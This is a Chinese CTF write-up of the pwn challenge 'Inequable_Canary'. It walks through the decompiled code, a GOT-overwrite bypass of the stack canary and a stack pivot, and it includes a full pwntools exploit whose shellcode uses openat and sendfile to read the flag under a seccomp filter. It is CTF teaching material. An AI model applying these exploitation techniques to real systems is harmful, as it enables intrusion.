楚慧杯
怎么说呢?
2024.12.25号,前面一直在补逆向的知识。
今天来复现一下Pwn
半懵半懂吧
Pwn Inequable_Canary 因为是到栈题,看一下保护机制
就开了canary。NX说明猜测是写shellcode,got表是可以改的。
ok,ida打开康康
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __fastcall main (int argc, const char **argv, const char **envp) { __int64 v4; void *retaddr; v4 = seccomp_init (2147418112LL , argv, envp); seccomp_rule_add (v4, 0LL , 59LL , 0LL ); seccomp_load (v4); setvbuf (_bss_start, 0LL , 2 , 0LL ); setvbuf (stdin, 0LL , 2 , 0LL ); write (1 , "I'm Captain Nanhe\n" , 0x12uLL ); write (1 , "Say some old spells to start the journey\n" , 0x29uLL ); read (0 , &retaddr, 0x15uLL ); return 1 ; }
main函数没啥说的,就是一个跳转,这里我们直接传地址到0x000000000400820
就行。
1 2 rl(' journey\n' ) s('0x000000000400820' )
可以看见我们是跳转到vuln函数了
在看一眼vuln函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unsigned __int64 vuln () { signed __int64 v0; char buf[8 ]; char *v3; char v4[24 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); write (1 , "Tell me the location of the Eye of the Deep Sea\n" , 0x30uLL ); read (0 , buf, 0x10uLL ); write (1 , "I have magic\n" , 0xDuLL ); v0 = sys_read (0 , v3, 8uLL ); write (1 , "Let's go!\n" , 0xAuLL ); read (0 , v4, 0x100uLL ); return __readfsqword(0x28u ) ^ v5; }
很明显的第一个read函数肯定是绕过canary了,参考文献
要注意的是我们看一下栈的位置
buf的值下面八字节正好可以覆盖到v3的值,而且buf最多写16字节,而v3最多8字节
调试的时候我们发现走到这之后我们还是可以继续输入的。
所以这里栈迁移了一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from pwn import *from struct import packimport ctypesdef bug (): gdb.attach(p) pause() def s (a ): p.send(a) def sa (a,b ): p.sendafter(a,b) def sl (a ): p.sendline(a) def sla (a,b ): p.sendlineafter(a,b) def r (a ): p.recv(a) def rl (a ): return p.recvuntil(a) def inter (): p.interactive() def get_addr64 (): return u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) def get_addr32 (): return u32(p.recvuntil("\xf7" )[-4 :]) def get_sb (): return libc_base+libc.sym['system' ],libc_base+libc.search(b"/bin/sh\x00" ).__next__() def get_hook (): return libc_base+libc.sym['__malloc_hook' ],libc_base+libc.sym['__free_hook' ] pr = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context(os='linux' ,arch='amd64' ,log_level='debug' ) libc=ELF('libc-2.31.so' ) elf=ELF('./canary' ) p = process('./canary' ) rl(' journey\n' ) s(p64(0x000000000400820 )) bug() rl('Sea\n' ) pay1=b'a' *8 +p64(elf.got['__stack_chk_fail' ]) s(pay1) rl('magic\n' ) leave_ret=0x0000000004008EF s(p64(leave_ret)) payload=asm( ''' mov rax, 0x67616c662f2e push rax xor rdi, rdi sub rdi, 100 mov rsi, rsp xor edx, edx xor r10, r10 push SYS_openat pop rax syscall mov rdi, 1 mov rsi, 3 push 0 mov rdx, rsp mov r10, 0x100 push SYS_sendfile pop rax syscall ''' ) jump_rsp=0x00000000040081B payload1=p64(jump_rsp)*6 +payload rl('go!\n' ) s(payload1) inter()
jump_rsp调试就会发现,是可以跳到我们的链子上